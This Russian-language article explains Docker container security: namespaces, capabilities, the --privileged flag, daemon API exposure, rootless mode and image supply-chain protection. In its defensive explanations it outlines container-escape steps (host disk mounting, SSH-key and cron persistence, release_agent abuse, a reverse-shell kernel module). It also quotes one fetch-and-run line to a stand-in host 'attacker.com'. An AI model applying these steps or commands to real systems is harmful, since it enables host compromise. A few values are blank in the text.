    Исторически cgroups v1 разрабатывались хаотично: каждая подсистема (cpu, memory, blkio) имела собственную иерархию. Процесс мог принадлежать к одной группе для учета памяти и к совершенно другой, в другой ветке дерева, для учета CPU. Это создавало огромные сложности при координации лимитов и приводило к состояниям гонки (race conditions) в ядре.

    Начиная с 2021 года индустрия (и Docker) перешла на стандарт cgroups v2. Главное архитектурное отличие — единая унифицированная иерархия. Процесс привязывается к одному узлу в дереве cgroups, и все контроллеры применяют свои лимиты именно к этому узлу. Кроме того, cgroups v2 тесно интегрированы с технологией eBPF (Extended Berkeley Packet Filter), что позволяет создавать высокопроизводительные и гранулярные политики сетевого и файлового ввода-вывода на уровне ядра, что активно используется в современных системах защиты (например, Cilium или Tetragon).

    Опасность разрушения иллюзий: Host Mode

    Понимание того, как работают механизмы изоляции, позволяет осознать катастрофические риски их отключения. В Docker существуют флаги, которые инструктируют демона не создавать новые Namespaces, а поместить контейнер в пространства имен хоста.

    Запуск контейнера с параметром --network host отключает Network Namespace. Контейнер больше не получает виртуальный интерфейс veth. Вместо этого он напрямую использует сетевой стек хоста. Процесс внутри контейнера может прослушивать интерфейс eth0 хоста, перехватывая нешифрованный трафик других сервисов, или открыть порт, конфликтующий с системными службами. Более того, такой контейнер полностью обходит правила изоляции сетей Docker.

    Еще более разрушительным является параметр --pid host. Контейнер помещается в PID Namespace хоста. Команда ps внутри такого контейнера покажет все процессы операционной системы, включая демоны баз данных, SSH-сессии администраторов и процессы других контейнеров. Если атакующий получит RCE (Remote Code Execution) в таком контейнере, он сможет:

  • Отправлять сигналы SIGKILL любым процессам хоста, вызывая отказ в обслуживании.
  • Прочитать память чужих процессов через файловую систему /proc/$PID/mem, извлекая пароли или приватные ключи в открытом виде.
  • Использовать инструменты отладки (например, strace или gdb) для внедрения вредоносного кода в работающие процессы хоста.
  • Аналогичные риски несет --ipc host, позволяющий читать разделяемую память хоста. Использование этих флагов в production-среде без крайней необходимости (например, для специфичных агентов мониторинга, которые сами по себе являются доверенными) является грубым нарушением стандартов безопасности, таких как CIS Docker Benchmark.

    Архитектура Namespaces и cgroups элегантна, но она не была изначально спроектирована как монолитный барьер безопасности. Это набор независимых инструментов ядра. Их эффективность зависит от того, насколько правильно демон Docker их комбинирует и настраивает. Однако даже идеальная изоляция видимости и ресурсов не спасает, если процессу внутри контейнера оставлено право управлять самим ядром. Именно здесь на сцену выходят механизмы контроля привилегий, которые мы разберем далее.

    3. Linux Capabilities: гранулярное управление привилегиями и риски режима --privileged

    Если вы запустите стандартный контейнер Ubuntu, зайдёте в него под пользователем root и попытаетесь изменить системное время командой date -s "2099-01-01", система ответит отказом: Operation not permitted. Возникает парадокс: процесс запущен от имени суперпользователя (с ), он находится в собственном изолированном пространстве имён, но ядро всё равно блокирует базовую административную операцию. Этот отказ — не ошибка конфигурации, а фундаментальный механизм защиты, на котором строится безопасность современных контейнеров. Внутри Docker пользователь root не является абсолютным монархом системы. Его власть хирургически урезана с помощью механизма Linux Capabilities.

    Деконструкция суперпользователя: от монолита к гранулярности

    Исторически в UNIX-подобных системах проверка привилегий была бинарной. Если процесс имел , ядро обходило большинство проверок прав доступа. Если , процесс подчинялся строгим правилам и мог работать только с ресурсами, принадлежащими его пользователю.

    Эта монолитная модель создавала колоссальные риски. Если веб-серверу требовалось открыть привилегированный порт (например, 80 или 443), его приходилось запускать от имени root. Если злоумышленник находил уязвимость в этом веб-сервере, он мгновенно получал полный контроль над всей операционной системой, включая возможность форматировать диски, загружать модули ядра и читать пароли других пользователей.

    Для решения этой проблемы в ядре Linux был реализован механизм Capabilities (начиная с версии 2.2). Идея заключалась в том, чтобы раздробить всемогущего root на набор узконаправленных привилегий (на сегодняшний день их около 40).

    !Деконструкция привилегий root на независимые Capabilities

    Вместо того чтобы давать процессу полные права, администратор может выдать ему только одну конкретную способность. Например:

  • CAP_NET_BIND_SERVICE — позволяет открывать порты с номерами меньше 1024.
  • CAP_CHOWN — позволяет изменять владельца файлов.
  • CAP_KILL — позволяет отправлять сигналы процессам других пользователей.
  • CAP_SYS_TIME — позволяет изменять системные часы.
  • В контексте контейнеризации этот механизм стал спасением. Поскольку контейнеры делят одно ядро с хост-системой, предоставление контейнерному root полных прав означало бы немедленную компрометацию хоста. Docker использует Capabilities как фильтр, отсекающий наиболее опасные системные вызовы ещё до того, как они достигнут общих структур ядра.

    Профиль по умолчанию: что Docker разрешает, а что запрещает

    При запуске контейнера без дополнительных флагов безопасности Docker Daemon применяет строгий белый список (allowlist) Capabilities. Из примерно 40 существующих привилегий контейнеру по умолчанию оставляют только 14.

    Контейнерный root сохраняет базовые права, необходимые для работы типичных приложений: CAP_CHOWN, CAP_DAC_OVERRIDE (игнорирование прав чтения/записи файлов), CAP_FOWNER, CAP_FSETID, CAP_KILL, CAP_SETGID, CAP_SETUID, CAP_SETPCAP, CAP_NET_BIND_SERVICE, CAP_NET_RAW (создание сырых сокетов, нужно для ping), CAP_SYS_CHROOT, CAP_MKNOD, CAP_AUDIT_WRITE и CAP_SETFCAP.

    Однако самые разрушительные привилегии отзываются (drop). Среди критически важных запретов:

  • CAP_SYS_ADMIN — «король» привилегий, заменяющий собой большую часть старого root. Позволяет монтировать файловые системы, управлять пространствами имён и выполнять множество низкоуровневых операций. Без него контейнер не может примонтировать диск хоста.
  • CAP_SYS_MODULE — запрещает загрузку или выгрузку модулей ядра.
  • CAP_NET_ADMIN — запрещает изменение таблиц маршрутизации, правил iptables и настройку сетевых интерфейсов.
  • CAP_SYS_PTRACE — блокирует возможность отладки (trace) процессов, что предотвращает чтение памяти чужих программ.
  • CAP_SYS_TIME — блокирует изменение времени (поскольку системные часы общие для всего хоста и всех контейнеров).
  • Проверить текущий набор привилегий внутри контейнера можно с помощью утилиты capsh (входит в пакет libcap2-bin): capsh --print. Вывод покажет поле Current, где перечислены активные (Effective) привилегии процесса.

    Анатомия флага --privileged: легализованный побег

    В процессе разработки или настройки сложных CI/CD пайплайнов инженеры часто сталкиваются с тем, что контейнеру не хватает прав. Приложение не может примонтировать NFS-шару, настроить VPN-туннель или запустить Docker-in-Docker. В поисках быстрого решения разработчики добавляют флаг --privileged.

    Это одна из самых опасных конфигураций в экосистеме Docker. Ошибочно полагать, что --privileged просто добавляет недостающие Capabilities. Этот флаг действует как рубильник, отключающий практически все механизмы изоляции, которые Docker выстраивает вокруг процесса.

    !Влияние флага --privileged на слои изоляции контейнера

    Технически флаг --privileged выполняет четыре разрушительных для безопасности действия:

  • Возвращает все Capabilities. Контейнер получает полный набор привилегий, включая CAP_SYS_ADMIN, CAP_SYS_MODULE и CAP_SYS_RAWIO. Процесс внутри контейнера становится равносилен процессу root на самой хост-системе.
  • Снимает ограничения cgroups для устройств (Device cgroup). По умолчанию контейнер видит только базовые устройства вроде /dev/null, /dev/zero или /dev/urandom. Флаг --privileged пробрасывает в контейнер все блочные и символьные устройства хоста. Контейнер получает прямой доступ к /dev/sda (физическому диску хоста) и может читать или перезаписывать его на уровне секторов.
  • Отключает профили AppArmor и Seccomp. Системы мандатного контроля доступа и фильтрации системных вызовов полностью деактивируются для этого контейнера.
  • Изменяет режим монтирования. Директории /sys и /proc, которые по умолчанию монтируются в режиме read-only (или частично маскируются), становятся доступны для записи. Это открывает прямой путь к изменению параметров ядра хоста.
  • Запуск контейнера с флагом --privileged означает, что граница между контейнером и хостом стёрта. Это уже не изолированная среда, а просто процесс, работающий на хосте с полными правами, лишь формально упакованный в формат образа.

    Векторы атак через избыточные привилегии

    Понимание того, как злоумышленники эксплуатируют избыточные привилегии, критически важно для аудита инфраструктуры. Рассмотрим детально, к чему приводит наличие конкретных Capabilities у скомпрометированного контейнера.

    Эксплуатация CAP_SYS_MODULE

    Если контейнер запущен с привилегией CAP_SYS_MODULE (или с флагом --privileged), злоумышленник получает возможность загружать собственные модули в ядро Linux. Поскольку ядро у хоста и контейнера общее, модуль, загруженный изнутри контейнера, выполняется в пространстве ядра хоста (Ring 0).

    !Процесс побега из контейнера через загрузку вредоносного модуля ядра

    Атака разворачивается следующим образом:

  • Злоумышленник, получив RCE (Remote Code Execution) внутри контейнера, компилирует вредоносный модуль ядра (файл с расширением .ko). Этот модуль может содержать код для создания reverse shell (обратного подключения) с правами системы.
  • Используя утилиту insmod или системный вызов init_module(), злоумышленник загружает скомпилированный модуль.
  • Ядро хоста принимает модуль, так как проверка CAP_SYS_MODULE проходит успешно.
  • Выполняется функция инициализации модуля. Поскольку код выполняется в пространстве ядра, он обходит все пространства имён (Namespaces) и ограничения cgroups. Вредоносный код запускает процесс оболочки (например, /bin/bash) в корневом пространстве имён хоста и перенаправляет ввод-вывод на IP-адрес атакующего.
  • Злоумышленник получает shell на хост-системе с абсолютными правами. Побег (Container Escape) успешно завершён.
  • Эксплуатация прямого доступа к устройствам

    Если контейнер имеет неограниченный доступ к /dev (что происходит при --privileged), злоумышленнику даже не нужно взаимодействовать с ядром через системные вызовы. Достаточно проанализировать доступные блочные устройства с помощью команды lsblk.

    Обнаружив основной раздел хоста (например, /dev/sda1 или /dev/nvme0n1p1), злоумышленник может примонтировать его прямо внутри контейнера: mkdir /mnt/host_root && mount /dev/sda1 /mnt/host_root

    После этого вся файловая система хоста оказывается доступна для чтения и записи. Атакующий может:

  • Прочитать /mnt/host_root/etc/shadow и получить хеши паролей пользователей хоста.
  • Добавить свой SSH-ключ в /mnt/host_root/root/.ssh/authorized_keys, обеспечив себе постоянный бэкдор.
  • Изменить конфигурацию cron на хосте (/mnt/host_root/etc/crontab), заставив хост-систему выполнить вредоносный скрипт от имени root по расписанию.
  • Риски CAP_SYS_ADMIN

    Привилегию CAP_SYS_ADMIN часто называют «новым root», так как она объединяет огромное количество критических функций. Если контейнеру выдана только эта привилегия (без полного --privileged), поверхность атаки всё равно остаётся фатальной.

    Например, CAP_SYS_ADMIN позволяет взаимодействовать с подсистемой release_agent механизма cgroups. Злоумышленник может создать новую контрольную группу, назначить ей скрипт release_agent (который выполняется ядром при опустошении группы) и спровоцировать его выполнение. Поскольку ядро выполняет этот скрипт в контексте хоста, злоумышленник может заставить хост исполнить любую команду, записанную в скрипте. Этот вектор атаки стал классическим примером побега из контейнера и требует обязательного мониторинга при аудите.

    Архитектура защиты: принцип наименьших привилегий на практике

    Для защиты инфраструктуры специалисты ИБ должны внедрять строгие требования к конфигурации контейнеров на этапе манифестов Kubernetes, docker-compose файлов или команд запуска. Базовое правило безопасности при работе с Capabilities звучит так: запретить всё, а затем разрешить только необходимое.

    Вместо того чтобы полагаться на профиль Docker по умолчанию (который оставляет 14 привилегий, многие из которых приложению не нужны), следует применять директиву --cap-drop=all. Это полностью обнуляет список Effective Capabilities. После этого с помощью --cap-add точечно возвращаются только те права, без которых приложение падает с ошибкой.

    Рассмотрим пример с веб-сервером Nginx. По умолчанию он запускается от имени root, чтобы открыть порт 80, а затем порождает рабочие процессы (worker processes) от имени непривилегированного пользователя nginx. Если запустить его с --cap-drop=all, он не сможет привязаться к порту 80. Правильная конфигурация будет выглядеть так: --cap-drop=all --cap-add=NET_BIND_SERVICE --cap-add=CHOWN --cap-add=SETUID --cap-add=SETGID

    Это минимально необходимый набор: открыть порт до 1024 и сменить пользователя с root на nginx для рабочих процессов. Если злоумышленник найдет RCE в таком Nginx, он получит контроль над процессом, у которого нет прав на создание сырых сокетов (CAP_NET_RAW сброшен, значит нельзя сканировать сеть пингами) и нет прав на изменение владельцев других файлов.

    Предотвращение эскалации: no-new-privileges

    Существует ещё один тонкий вектор атаки. Даже если контейнер запущен без опасных Capabilities и под непривилегированным пользователем, злоумышленник может попытаться найти внутри образа бинарный файл с установленным SUID-битом (Set-User-ID). Классические примеры — утилиты su, sudo или passwd. При запуске такого файла процесс временно получает права владельца файла (обычно root).

    Чтобы полностью исключить возможность повышения привилегий внутри контейнера, Docker предоставляет флаг --security-opt=no-new-privileges:true. При его активации ядро Linux устанавливает для процесса флаг PR_SET_NO_NEW_PRIVS. Это гарантирует, что ни процесс, ни его потомки не смогут получить новые привилегии, независимо от наличия SUID-битов на исполняемых файлах. Если злоумышленник выполнит sudo, ядро просто проигнорирует SUID-бит и выполнит команду с текущими правами нарушителя, что приведёт к ошибке доступа.

    Переход от монолитного root к гранулярным Capabilities меняет саму философию защиты. Фокус смещается с проверки того, кем является процесс (каков его UID), на то, что именно ему разрешено делать с ядром. Однако Capabilities — это лишь один из слоев защиты. Даже процесс без избыточных привилегий всё ещё может совершать легитимные, но потенциально опасные системные вызовы. Для ограничения самих системных вызовов на уровне ядра применяются профили Seccomp, а для защиты демона, управляющего всей этой архитектурой, требуются отдельные механизмы контроля доступа.

    4. Безопасность Docker Daemon: риски архитектуры клиент-сервер и управление доступом

    Безопасность Docker Daemon: риски архитектуры клиент-сервер и управление доступом

    В любой момент времени поисковая система Shodan выдает несколько тысяч открытых IP-адресов с портом 2375. Для специалиста по информационной безопасности это не просто статистика некорректных конфигураций, а индикатор тысяч серверов, которые можно скомпрометировать одним HTTP-запросом. Ошибка заключается в фундаментальном непонимании природы Docker: утилита командной строки, которую мы привыкли воспринимать как локальную программу, на самом деле является лишь тонким клиентом. Вся реальная работа выполняется фоновым демоном, обладающим абсолютной властью над операционной системой.

    Иллюзия локальной утилиты: REST API под капотом

    Архитектура Docker построена по классической модели «клиент-сервер». Когда администратор вводит команду docker run nginx, локально не запускается никаких процессов контейнеризации. Вместо этого Docker CLI (клиент) формирует JSON-нагрузку и отправляет HTTP-запрос к Docker Daemon (dockerd).

    !Архитектура взаимодействия компонентов Docker

    По умолчанию этот обмен происходит через локальный UNIX-сокет (/var/run/docker.sock). Клиент и сервер могут находиться на одной машине, а могут быть разделены континентами. Демон экспонирует полноценный REST API. Любое действие, доступное в консоли, имеет свой API-эндпоинт.

    Чтобы убедиться в этом, достаточно обратиться к демону напрямую в обход стандартного клиента, используя обычный curl. Запрос списка образов выглядит так:

    curl --unix-socket /var/run/docker.sock http://localhost/images/json

    Эта архитектурная особенность формирует главную проблему безопасности: тот, кто контролирует конечную точку API демона, контролирует хост. Демон dockerd работает с правами пользователя root. Ему необходимы эти привилегии для создания пространств имен (Namespaces), настройки правил iptables для маршрутизации трафика контейнеров и монтирования файловых систем (OverlayFS). Следовательно, доступ к API Docker эквивалентен доступу к командной оболочке root на сервере без пароля.

    Сетевая экспозиция: анатомия атаки через TCP-сокет

    Часто в корпоративных сетях или CI/CD конвейерах возникает необходимость управлять контейнерами удаленно. Администраторы могут изменить конфигурацию демона, заставив его слушать TCP-порт. Стандартный порт для нешифрованного трафика — 2375.

    > Открытие порта 2375 на публичном или даже внутреннем сетевом интерфейсе без дополнительных средств защиты — это архитектурный дефект с критическим уровнем риска (CVSS 10.0).

    Как злоумышленник эксплуатирует открытый API? Процесс не требует сложных эксплойтов или обхода памяти, это легитимное использование заложенного функционала. Атака разворачивается в три этапа:

  • Разведка и подготовка. Атакующий сканирует сеть на наличие открытого порта 2375. Обнаружив его, он формирует запрос на создание контейнера.
  • Создание вредоносной нагрузки. Отправляется POST /containers/create. В JSON-теле запроса злоумышленник указывает образ (например, alpine или ubuntu) и, что самое важное, передает инструкцию смонтировать корневую файловую систему хоста (/) в директорию внутри контейнера (например, /mnt/host).
  • Исполнение. Отправляется POST /containers/{id}/start. Контейнер запускается. Атакующий получает доступ к файловой системе хоста, может записать свой SSH-ключ в /mnt/host/root/.ssh/authorized_keys, изменить /mnt/host/etc/shadow или установить вредоносный сервис (например, майнер Kinsing, который активно использует этот вектор).
  • Вся атака занимает доли секунды и автоматизируется скриптами. Защита на уровне сети (Firewall, VPN) снижает риски, но не решает проблему доверия: любой сотрудник или скомпрометированный сервис внутри VPN, имеющий сетевую связность с портом 2375, автоматически получает права root на хосте Docker.

    Защита транспортного уровня: mTLS и порт 2376

    Официально поддерживаемый Docker механизм защиты сетевого API — это взаимная аутентификация на основе TLS (mTLS). При включении этой функции демон начинает слушать порт 2376.

    mTLS решает сразу две задачи:

  • Шифрование (Confidentiality): Защита от перехвата трафика (sniffing) и подмены команд (MitM).
  • Строгая аутентификация (Authentication): Демон проверит не только валидность криптографии, но и то, что клиентский сертификат подписан доверенным удостоверяющим центром (CA).
  • Для настройки mTLS требуется развернуть минимальную инфраструктуру открытых ключей (PKI). Демон запускается с набором флагов, которые жестко задают правила игры:

    dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=0.0.0.0:2376

    Клиент, в свою очередь, должен предоставить свои сертификаты. Без валидного клиентского сертификата TCP-соединение будет разорвано на этапе TLS Handshake, до того как демон прочитает хотя бы один байт HTTP-запроса.

    Однако у mTLS в контексте Docker есть серьезные архитектурные ограничения. Во-первых, Docker Daemon не имеет встроенного механизма отзыва сертификатов (CRL или OCSP). Если сертификат разработчика скомпрометирован, единственный надежный способ закрыть доступ — перевыпустить корневой CA и все сертификаты серверов и остальных клиентов. Во-вторых, mTLS обеспечивает аутентификацию по принципу «всё или ничего». Если клиент предъявил валидный сертификат, он получает полный доступ ко всему API. Нельзя средствами одного только mTLS разрешить разработчику просматривать логи, но запретить удалять контейнеры.

    Гранулярный контроль: Docker AuthZ Plugins

    Для реализации принципа наименьших привилегий (PoLP) на уровне API применяется механизм плагинов авторизации (AuthZ). Этот архитектурный слой встраивается непосредственно в конвейер обработки запросов демона.

    !Пошаговая обработка запроса через AuthZ-плагин

    Когда AuthZ-плагин активирован, жизненный цикл запроса меняется. После того как клиент прошел аутентификацию (например, через mTLS), демон приостанавливает выполнение команды. Он формирует специальный JSON-объект, содержащий информацию о пользователе (извлеченную из сертификата), HTTP-метод, запрашиваемый URI и тело запроса. Этот объект отправляется внешнему плагину авторизации.

    Плагин анализирует контекст и возвращает демону вердикт: Allow или Deny.

    Индустриальным стандартом для реализации таких политик стал Open Policy Agent (OPA). OPA позволяет описывать правила доступа на декларативном языке Rego. Вместо жесткого кодирования логики в скриптах, безопасник создает читаемый свод правил.

    Рассмотрим пример политики безопасности. Допустим, мы хотим разрешить пользователю с именем alice (имя извлекается из поля Subject клиентского сертификата) только чтение логов и просмотр списка контейнеров, запретив любые модификации.

    Логика на Rego будет проверять HTTP-метод. Запросы GET к эндпоинтам /containers/json или /containers/{id}/logs будут разрешены. Любой запрос POST, PUT или DELETE (например, POST /containers/create) будет заблокирован. Если alice попытается запустить контейнер, OPA вернет Deny, и Docker Daemon ответит клиенту статусом 403 Forbidden, не выполняя никаких действий в системе.

    Использование AuthZ-плагинов позволяет реализовать ролевую модель доступа (RBAC) поверх монолитного API Docker, разделяя права администраторов инфраструктуры, разработчиков и CI/CD систем.

    Сдвиг парадигмы: Rootless Docker

    Даже при идеальной настройке mTLS и OPA остается фундаментальный риск: сам процесс dockerd работает с UID 0 (root). Если в коде демона или в компонентах, которые он вызывает (например, runc), будет найдена уязвимость переполнения буфера или обхода путей (Path Traversal), злоумышленник сможет выполнить произвольный код с правами суперпользователя.

    Ответом на эту угрозу стала архитектура Rootless Docker. В этом режиме демон и все запускаемые им контейнеры работают в пространстве непривилегированного пользователя.

    Механика работы Rootless-режима

    Rootless Docker опирается на механизм User Namespaces, который мы подробно разбирали ранее, но использует его на уровень выше. В классическом Docker User Namespaces применяются для изоляции процессов внутри контейнера. В Rootless-режиме в изолированное пространство имен помещается сам демон.

    Процесс выглядит так:

  • Непривилегированный пользователь (например, dockeruser с ) запускает dockerd.
  • С помощью утилит newuidmap и newgidmap (которые имеют SUID-бит на хосте) создается User Namespace.
  • Внутри этого нового пространства имен хоста отображается как (root).
  • Демон «думает», что он работает от имени root, и может создавать вложенные пространства имен, монтировать файловые системы (с определенными ограничениями) и управлять ресурсами, но только в пределах тех лимитов, которые выделены реальному пользователю dockeruser.
  • Если злоумышленник находит уязвимость нулевого дня в демоне и совершает побег из Rootless-контейнера, он оказывается в системе с правами обычного пользователя . Он не может прочитать /etc/shadow, не может загрузить модуль ядра и не может изменить системные бинарные файлы. Поверхность атаки сужается на порядки.

    Архитектурные компромиссы Rootless

    Повышение безопасности редко дается бесплатно. Лишение демона реальных прав root приводит к ряду технических ограничений, которые необходимо учитывать при проектировании инфраструктуры:

    Сетевые ограничения. Обычный пользователь Linux не имеет права прослушивать привилегированные порты (ниже 1024). Следовательно, контейнер с Nginx в Rootless-режиме не сможет напрямую опубликовать порт 80 или 443 на хосте. Потребуется маппинг на порты высокого диапазона (например, 8080) или изменение параметра ядра net.ipv4.ip_unprivileged_port_start. Кроме того, Rootless не может управлять стандартными сетевыми мостами хоста. Для маршрутизации трафика используется утилита slirp4netns, которая работает в пространстве пользователя. Это обеспечивает изоляцию, но снижает сетевую пропускную способность по сравнению с ядерным NAT.

    Ограничения cgroups. В старых версиях Linux непривилегированные пользователи не могли управлять ресурсами (CPU, память). Для полноценной работы Rootless Docker с лимитами ресурсов требуется использование cgroups v2 и делегирование прав через systemd.

    Файловые системы. До версии ядра 5.11 непривилегированные пользователи не могли монтировать OverlayFS. В старых системах Rootless Docker вынужден использовать FUSE-реализации (fuse-overlayfs), что влечет за собой значительные накладные расходы на операции ввода-вывода.

    Несмотря на эти ограничения, Rootless Docker является предпочтительным стандартом для многопользовательских сред и высоконагруженных систем, где безопасность превалирует над микросекундными задержками сети.

    Управление доступом как эшелонированная оборона

    Безопасность Docker Daemon не решается одним переключателем. Это классический пример эшелонированной обороны (Defense in Depth).

    Первый рубеж — сетевая изоляция: сокет демона никогда не должен быть доступен из недоверенных сетей. Второй рубеж — криптографическая аутентификация: если TCP-сокет необходим, он должен быть защищен mTLS, чтобы исключить подключение неавторизованных клиентов. Третий рубеж — гранулярная авторизация: AuthZ-плагины ограничивают радиус поражения в случае компрометации валидного клиентского сертификата. И, наконец, последний рубеж — Rootless-режим: он минимизирует ущерб, если все предыдущие слои защиты были прорваны, а в самом демоне обнаружилась критическая уязвимость.

    Понимание того, как docker общается с dockerd, позволяет специалисту по ИБ не просто применять чек-листы, а выстраивать архитектуру, в которой компрометация одного компонента не приводит к мгновенному падению всей инфраструктуры.

    5. Безопасность жизненного цикла: доверенная сборка и защита цепочки поставок образов

    Разработчик автоматизирует деплой и добавляет в Dockerfile удобную команду: RUN echo "export AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE" > /root/.bashrc. Поняв свою ошибку, он тут же добавляет следующую строку: RUN rm /root/.bashrc, собирает образ и отправляет его в публичный Registry. При запуске контейнера файла действительно нет, система кажется безопасной. Однако через неделю инфраструктура компании оказывается скомпрометирована. Злоумышленнику не потребовалось взламывать приложение или искать уязвимости нулевого дня в ядре — он просто выполнил docker save, распаковал архив образа и извлёк удалённый файл из предыдущего слоя. Этот классический сценарий демонстрирует фундаментальную проблему: безопасность контейнерной инфраструктуры начинается задолго до запуска процесса docker run.

    Защита жизненного цикла образа — это защита цепочки поставок (Supply Chain Security). В мире Docker образ проходит путь от исходного кода и базового дистрибутива через сборочный конвейер (CI/CD) в хранилище (Registry), и только затем попадает в среду исполнения (Runtime). Компрометация на любом из этих этапов делает бессмысленными любые механизмы изоляции ядра, которые мы рассматривали ранее.

    Архитектура образа: слои, манифесты и иллюзия удаления

    Чтобы понять, как злоумышленники извлекают данные и внедряют бэкдоры, необходимо разобрать внутреннее устройство Docker-образа. Образ не является монолитным шаблоном виртуальной машины. Согласно спецификации OCI (Open Container Initiative), образ — это логическая конструкция, состоящая из трех основных компонентов: манифеста, конфигурации и набора слоёв.

    Слой (Layer) физически представляет собой обычный tar-архив, содержащий изменения файловой системы по сравнению с предыдущим слоем. Каждая инструкция в Dockerfile (например, RUN, COPY, ADD) создаёт новый слой. При запуске контейнера драйвер хранилища (чаще всего OverlayFS) накладывает эти слои друг на друга, формируя единую виртуальную файловую систему (Union File System).

    Ключевой аспект безопасности заключается в иммутабельности слоёв. Если файл создан в слое , а затем удалён или изменён командой в слое , физически файл из никуда не исчезает. В слое создаётся специальный маркер удаления (whiteout file), который говорит драйверу OverlayFS «скрыть» этот файл при финальной сборке дерева каталогов.

    !Иллюстрация иммутабельности слоёв Docker-образа и сохранения удалённых секретов

    Идентификация слоёв и самого образа строится на криптографическом хешировании. Каждому слою присваивается дайджест, вычисляемый как . Манифест образа (JSON-документ) содержит массив этих дайджестов в строгом порядке. Это означает, что подменить один байт в историческом слое невозможно без изменения его хеша, что повлечет за собой изменение хеша манифеста и, как следствие, самого идентификатора образа.

    Однако эта криптографическая целостность работает на злоумышленника в случае утечки секретов. Если в одном из слоёв оказался приватный ключ, пароль к базе данных или токен API, он навсегда запечатан в хеше этого слоя. Любой, кто имеет доступ к чтению образа из Registry, может скачать конкретный tar-архив (blob) по его SHA256-хешу и извлечь секрет, проигнорировав маркеры whiteout из верхних слоёв.

    Векторы атак на сборочный конвейер

    Атака на цепочку поставок контейнеров редко выглядит как прямой взлом серверов компании. Чаще это эксплуатация доверия к внешним зависимостям. Существует три основных вектора внедрения вредоносного кода на этапе сборки.

    Отравление базового образа (Base Image Poisoning)

    Каждый Dockerfile начинается с инструкции FROM. Если разработчик использует образ node:18, он неявно доверяет всей цепочке его создателей. Векторы компрометации включают:
  • Тайпосквоттинг (Typosquatting): публикация в Docker Hub образов с именами, похожими на официальные (например, ubutnu вместо ubuntu или python-alpine вместо python:alpine). Такие образы содержат заявленный функционал, но дополнительно включают скрытые майнеры или бэкдоры.
  • Компрометация легитимного образа: взлом учетной записи мейнтейнера популярного образа и пуш обновления с вредоносной нагрузкой под тегом latest.
  • !Схема распространения вредоносного кода через отравленный базовый образ

    Подмена зависимостей при сборке (Dependency Confusion)

    Инструкции RUN часто используются для загрузки пакетов (pip install, npm install, apt-get). Если сборочный сервер не имеет строгих политик маршрутизации пакетов, злоумышленник может опубликовать во внешнем публичном репозитории пакет с тем же именем, что и внутренний проприетарный пакет компании, но с более высокой версией. Менеджер пакетов внутри собирающегося контейнера скачает вредоносный код из интернета, внедрив его прямо в слой образа.

    Сборка из недоверенного контекста

    Инструкция COPY . /app копирует весь контекст сборки внутрь образа. Если на машине разработчика или CI-сервере присутствует скрытое вредоносное ПО, оно может модифицировать исходный код прямо перед выполнением docker build. Кроме того, без правильно настроенного .dockerignore в образ могут попасть локальные директории .git, содержащие историю коммитов и потенциально чувствительные данные, или файлы .env с локальными паролями.

    Минимизация поверхности атаки: Многоэтапная сборка и Distroless

    Для защиты от утечек секретов в слоях и кардинального уменьшения поверхности атаки применяется паттерн многоэтапной сборки (Multi-stage build).

    Традиционный подход подразумевает установку компиляторов, заголовочных файлов и утилит сборки в тот же образ, где будет работать финальное приложение. Это оставляет злоумышленнику богатый инструментарий (shell, curl, gcc, пакетные менеджеры) для развития атаки (post-exploitation) в случае успешного прорыва в контейнер.

    Многоэтапная сборка позволяет разделить процесс на логические блоки внутри одного Dockerfile.

    На первом этапе (сборочном) используется тяжелый базовый образ со всеми необходимыми инструментами. Там происходит компиляция кода, загрузка зависимостей и, возможно, использование секретов (например, токенов для доступа к приватным репозиториям). На втором этапе создаётся совершенно новый, чистый образ, в который копируются только скомпилированные артефакты из первого этапа.

    Истинный потенциал безопасности раскрывается при использовании Distroless образов в качестве финального этапа. Distroless — это концепция образов, не содержащих операционной системы в привычном понимании. В них нет пакетного менеджера (apt, apk), нет утилит вроде wget или curl, и, что самое главное, нет командной оболочки (/bin/sh или /bin/bash).

    Если приложение написано на компилируемом языке (Go, Rust), финальный образ может базироваться на scratch — абсолютно пустом образе ядра Docker. В таком контейнере существует только один бинарный файл — само приложение. Если злоумышленник найдет уязвимость Remote Code Execution (RCE) в таком приложении, он не сможет выполнить команду вида system("curl attacker.com/script.sh | sh"), так как ни curl, ни sh в файловой системе просто не существует. Ему придется писать сложный шелл-код, специфичный для архитектуры процессора, что экспоненциально усложняет эксплуатацию.

    Криптографическое доверие: от Notary к Sigstore

    Даже если образ собран идеально чисто, без уязвимостей и секретов, инфраструктуре исполнения (Runtime) необходимо доказать, что образ, скачанный из Registry, — это именно тот образ, который был собран на доверенном CI-сервере, и никто не подменил его манифест в процессе передачи. Эту задачу решает криптографическая подпись образов.

    Исторически Docker предлагал механизм Docker Content Trust (DCT), основанный на проекте Notary и спецификации TUF (The Update Framework). TUF решает сложные проблемы управления ключами: защиту от атак с понижением версии (downgrade attacks) и компрометации ключей. В DCT используется сложная иерархия: корневой ключ (Root key), хранящийся офлайн, ключ целей (Targets key) для подписи самих тегов, и ключи снимков/меток времени (Snapshot/Timestamp) для защиты от replay-атак.

    Однако на практике DCT оказался слишком сложным для массового внедрения. Необходимость бережного хранения приватных ключей разработчиками и ротации ключей при увольнении сотрудников делала процесс хрупким.

    Современным стандартом де-факто для защиты цепочки поставок контейнеров стала экосистема Sigstore, в частности утилита Cosign. Cosign кардинально меняет парадигму: вместо долговременных PGP-подобных ключей используется концепция подписи без ключей (Keyless Signing).

    Механика Keyless Signing опирается на протокол OpenID Connect (OIDC) и прозрачные журналы (Transparency Logs). Процесс выглядит так:

  • CI-система (например, GitHub Actions) запрашивает кратковременный сертификат у центра сертификации Sigstore (Fulcio), подтверждая свою личность через OIDC-токен.
  • Сертификат выдается на очень короткое время (обычно 10 минут) — ровно столько, чтобы успеть подписать хеш образа.
  • Cosign подписывает дайджест образа и отправляет запись об этом в неизменяемый публичный журнал Rekor (на базе дерева Меркла, подобно Certificate Transparency в HTTPS).
  • Приватный ключ уничтожается сразу после подписи. Утечка ключа невозможна, так как его больше не существует.
  • При скачивании образа система проверки проверяет не сам приватный ключ (которого нет), а криптографическое доказательство в логе Rekor: «Действительно ли в момент времени система с идентификатором подписала хеш ?».
